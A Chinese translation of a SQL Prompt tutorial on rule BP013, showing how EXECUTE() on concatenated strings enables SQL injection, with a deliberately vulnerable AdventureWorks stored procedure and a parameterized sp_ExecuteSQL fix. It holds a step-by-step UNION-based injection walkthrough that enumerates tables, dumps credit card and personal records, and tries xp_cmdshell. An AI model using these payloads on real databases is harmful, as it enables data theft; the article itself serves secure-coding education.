翻譯|使用教程|編輯:莫成敏|2020-01-21 14:08:16.620|閱讀 314 次
概述:SQL Prompt的代碼分析規則BP013將提醒您使用Execute(string)來執行字符串中的批處理,該字符串通常是根據用戶輸入動態組裝的。這種技術很危險,因為參數值是在SQL Server解析該語句之前注入的,從而使攻擊者可以“標記”額外的語句。請改用sp_ExecuteSql,并驗證字符串輸入。
# 界面/圖表報表/文檔/IDE等千款熱門軟控件火熱銷售中 >>
相關鏈接:
SQL Prompt根據數據庫的對象名稱、語法和代碼片段自動進行檢索,為用戶提供合適的代碼選擇。自動腳本設置使代碼簡單易讀--當開發者不大熟悉腳本時尤其有用。SQL Prompt安裝即可使用,能大幅提高編碼效率。此外,用戶還可根據需要進行自定義,使之以預想的方式工作。
有時不可避免地使用動態SQL,但是執行直接從包含在執行時更改的值的字符串直接創建的動態SQL是魯莽的。它可以允許SQL注入并且效率也不高。
SQL Prompt的代碼分析規則,BP013將提醒您使用Execute(),以字符串形式執行批處理,該批處理通常是根據用戶輸入動態組裝的。使用此命令特別令人懷疑,因為它不允許您參數化值。
即使您對可以提交的值有完全的控制和監督,并確定它們永遠不會來自最終用戶,還是最好使用sp_ExecuteSQL存儲過程對輸入進行參數設置。這不僅更安全,而且還可以幫助查詢優化器認識到要執行的SQL批處理已參數化,因此適合可重用的計劃。
無論是EXECUTE命令和sp_ExecuteSQL程序執行批處理,而不僅僅是查詢。因此,即使您使用sp_ExecuteSQL,也很容易在存儲過程中引入SQL注入的漏洞。如果您錯誤地將SQL與參數連接在一起,它將仍然允許惡意用戶引入向該批處理添加額外語句的輸入。
SQL注入漏洞
想象一下,AdventureWorks開發人員看到此SQL并認為“Aha”,我可以提供任何列表作為參數。
SELECT * FROM person.person WHERE lastname IN ( 'Goldberg', 'Erickson', 'Walters' );
很好,因此在存儲過程中,他可以動態地匯編代碼
DECLARE @MyList NVARCHAR(50) = '''Goldberg'',''Erickson'',''Walters'''; EXECUTE ('SELECT * from person.person where lastname in (' + @MyList + ')');
因此,現在他可以提供任何人的姓氏列表并得到結果。但是,當代碼審查員指出可怕的可能性時,現實很快就會出現:
DECLARE @MyList NVARCHAR(50)='''factor'') Select * from sales.creditcard --' EXECUTE ('SELECT * from person.person where lastname in ('+@myList+')')
當然,您可能會認為這有點學術性,因為SQL注入都是關于應用程序中非參數化查詢的。好吧,不;引入漏洞的不僅僅是應用程序。應用程序可以正確地參數化對存儲過程的調用,如果存儲過程本身存在漏洞,則可以成功利用漏洞。通過演示更容易解釋。
入侵AdventureWorks
假設AdventureWorks創建了一個新網站,而開發人員想要一個產品搜索屏幕,用戶在其中輸入搜索字詞,并且所有相關產品都顯示在列表中。是的,這似乎很合理。
向數據庫新手的開發人員分配了任務。該網站以名為WebUser的用戶名建立了連接池。團隊非常謹慎,并確保WebUser無法訪問網站上的任何敏感信息。它只能訪問網站上專門處理WebUser請求的存儲過程。這些存儲過程在模塊的當前所有者的上下文中運行,以訪問少量基表中的數據的受限部分。這樣做是為了允許諸如WebUser訪問必需的數據而不能直接訪問任何表。這有效地防止了來自應用程序的任何SQL注入訪問接口中的過程或函數以外的任何東西。一些數據庫設計人員更喜歡使用沒有登錄的用戶來提供此服務。
到目前為止,一切都很好。
創建過程并要求數據庫開發人員將其安裝到數據庫中之后,開發人員然后在應用程序中仔細地對存儲過程的調用進行參數化,以確保應用程序不會進行任何SQL注入。
這是程序。當然,這些評論是我的。我不想讓任何人認為這是一個好習慣。通過使用EXECUTE(),將撤消上述所有明智的預防措施。
/* we will now create a procedure that not only uses EXECUTE but also fails to check the contents of the string parameter passed to it*/ IF Object_Id('dbo.SelectProductModel') IS NOT NULL DROP procedure dbo.SelectProductModel; GO CREATE PROCEDURE dbo.SelectProductModel @queryString VARCHAR(255) WITH EXECUTE AS OWNER --to execute as the login who created this procedure AS--health warning!!! This is a demonstration of how not to do it EXECUTE ( 'SELECT name,summary,Wheel,Saddle,Pedal, RiderExperience FROM Production.vProductModelCatalogDescription WHERE ( name+summary LIKE ''%'+ @queryString+'%'' )') GO--health warning!!! This is a demonstration of how not to do it
使用動態執行的代碼有時有很好的理由,但是這些幾乎總是涉及參數。在這種情況下,開發人員需要使用sp_ExecuteSql。最重要的是,應使用正確的約定將所有參數傳遞給它。在此示例中,沒有必要使用動態SQL,但如果已經這樣做,則應該這樣做。
IF Object_Id('dbo.SelectProductModel2') IS NOT NULL DROP procedure dbo.SelectProductModel2; GO CREATE PROCEDURE dbo.SelectProductModel2 @queryString VARCHAR(255) WITH EXECUTE AS owner AS EXECUTE sp_ExecuteSQL N'SELECT name,summary,Wheel,Saddle,Pedal, RiderExperience FROM Production.vProductModelCatalogDescription WHERE (name+summary LIKE ''%''+@search+''%'')',N'@search Varchar(20)',@search=@QueryString GO
您可以在以下示例中嘗試此版本以證明它。我也會添加一些參數驗證,因為我想在晚上睡個好覺。有一些客戶希望搜索有關自行車的短語,但其中不包括“–”。
現在,為了說明這一點,我應該讓您(讀者)建立一個帶有搜索表單和網格的網站,以顯示結果。相反,我們將在SSMS中對此進行仿真,以便您可以嘗試并嘗試一下。
設置了惡意程序后,我們創建了無權執行任何操作的網站用戶。然后,我們以該用戶身份執行任務,并查看通過顯著的數據泄露我們可以走多遠。
IF EXISTS (SELECT * FROM sys.sysusers AS S2 WHERE S2.name LIKE 'WebUser') DROP USER Webuser; -- We need to execute some of the following code with the restricted access rights of a -- typical web user that has only access rights to the stored procedure that accesses -- the table We then run part of the script as that user. CREATE USER WebUser WITHOUT LOGIN; /* we now assign it permission to call the stored procedure. It has no choice because this is being done in middleware on the web server. Every attempt to break into the database has to be done merely by changing the search term for Adventureworks bicycles. */ GRANT EXECUTE ON OBJECT::dbo.SelectProductModel TO WebUser; GRANT EXECUTE ON OBJECT::dbo.SelectProductModel2 TO WebUser; execute as user = 'WebUser' /* now we are working as WebUser. */
您必須想象我是一個外部入侵者,是通過網站而不是SSMS執行此操作的(如果我可以訪問它,那么我已經出門在外了。)我必須將搜索詞放入網絡表單中并研究結果。我對此數據庫一無所知。因為顯示了錯誤,我得到了幫助,并且可以在網站結果網格中看到結果。即使沒有錯誤,我也會受到輕微的抑制,因為從響應時間可以判斷很多事情。
我的第一個目標是找出表的名稱及其模式。如果我不了解他們,那么會經歷很多嘗試和錯誤,這可能需要很長時間和耐心。然后,我需要知道列和數據類型。如果我能找到一種方法來做所有的事情,那我就可以回家了。
我們開始吧。
Execute dbo.SelectProductModel 'light'
這似乎行得通。讓我們通過添加表達式來檢查是否正確地將其參數化。我作為“WebUser”,想知道“始終正確”的技巧是否有效。我輸入搜索詞“輕”或1 = 1 –“
EXECUTE dbo.SelectProductModel 'light'' or 1=1 --' /* Msg 102, Level 15, State 1, Line 59 Incorrect syntax near '1'*/
服務器端錯誤肯定表明該漏洞存在。我需要添加一個括號嗎?
EXECUTE dbo.SelectProductModel 'light'') or 1=1 --'
這列出了所有產品型號。 如果您使用該過程的第二個版本SelectProductModel2,該查詢將不返回任何產品,因為它將搜索字符串'light')或1 = 1-,這根本不存在。
/* Can I do the union all trick? */ --I don't know the names of any tables so I'll use functions EXECUTE dbo.SelectProductModel 'ffff'') union all SELECT db_name(), @@Servername,User_Name(), ORIGINAL_LOGIN( ) , session_user,'''' --'
/* well that works and tells me that all columns are strings because I got no error in the UNION. Within the stored procedure, I'm A DBO!!! */ EXECUTE dbo.SelectProductModel 'ffff'') union all SELECT Object_schema_name(object_id), name, '''','''','''','''' from sys.tables --'
/* some interesting tables. I like that CreditCard table. This saves me a lot of time Where are the credit cards? */ EXECUTE dbo.SelectProductModel 'ffff'') union all SELECT Object_schema_name(t.object_id),t.name,c.name,'''','''','''' FROM sys.columns c INNER JOIN sys.tables t ON c.object_id=t.object_id WHERE t.name=''creditcard'' --'
/* this is taking candy from a baby. We know the columns and table now! List out the credit cards on the website grid and over to the dark side */ EXECUTE dbo.SelectProductModel 'ffff'') union all Select CreditCardID,CardType,CardNumber,ExpMonth,ExpYear,ModifiedDate from Sales.Creditcard --'
/* Can I use xp_cmdshell? */ EXECUTE dbo.SelectProductModel 'ffff''); Execute xp_cmdshell ''dir *.*'' --' /* No. maybe I can reconfigure */ EXECUTE dbo.SelectProductModel 'ffff''); execute sp_configure ''show advanced options'',1;reconfigure with override --' /* Msg 15247, Level 16, State 1, Procedure sp_configure, Line 105 [Batch Start Line 96] User does not have permission to perform this action. Msg 5812, Level 14, State 1, Line 100 You do not have permission to run the RECONFIGURE statement*/不要緊。我仍然可以通過網站獲取有效載荷?,F在我有了信用卡,我去找那個person.person表。某件事告訴我那里有個人數據。讓我們研究一下該表中的內容。
EXECUTE dbo.SelectProductModel 'ffff'') union all SELECT Object_schema_name(t.object_id),t.name,c.name,is_nullable,max_length,system_type_id FROM sys.columns c INNER JOIN sys.tables t ON c.object_id=t.object_id WHERE t.name=''person'' --'
我認為,從這些數據來看,如果我將各列連接在一起,則可以一次性提取出來。
EXECUTE dbo.SelectProductModel 'ffff'') union all SELECT persontype,BusinessEntityID,Coalesce(Title+'' '','''')+FirstName+'' ''+Coalesce(MiddleName+'' '','''')+LastName+Coalesce('' ''+Suffix,''''),EmailPromotion,AdditionalContactInfo,Demographics FROM person.person --'
簡而言之,AdventureWorks的所有個人詳細信息和銷售現在都在走向黑暗網絡。當然,這很費力,因為我要通過網站上的POST獲取有效負載,并且可能不得不重新組裝來自位的數據,但是即使是很小的破壞也會造成破壞!
最后整理一下
SELECT USER_NAME(); REVERT; SELECT USER_NAME(); IF EXISTS (SELECT * FROM sys.sysusers AS S2 WHERE S2.name LIKE 'WebUser') DROP USER WebUser; IF OBJECT_ID('dbo.SelectProductModel') IS NOT NULL DROP PROCEDURE dbo.SelectProductModel;
結論
將字符串作為SQL批處理執行的技術本質上沒有錯。但是,這是編程的安全領域。如果不參數化該字符串中的值,則可能很危險。有時,由于SQL語法的多變,您無法做到,而且也沒有解決方法,在這種情況下,您需要采取所有必要的預防措施來驗證輸入。出于這個原因,不鼓勵使用Execute(),因為它沒有參數化其輸入的方法,并且檢查sp_ExecuteSQL的使用,以確保已采取所有適當的預防措施來防止SQL注入,所以是一個好主意。
本文內容到這里就結束了,感興趣的朋友可以下載SQL Prompt免費體驗~也可以關注我們網站了解更多產品資訊~
相關內容推薦:
本站文章除注明轉載外,均為本站原創或翻譯。歡迎任何形式的轉載,但請務必注明出處、不得修改原文相關鏈接,如果存在內容上的異議請郵件反饋至chenjj@fc6vip.cn
文章轉載自: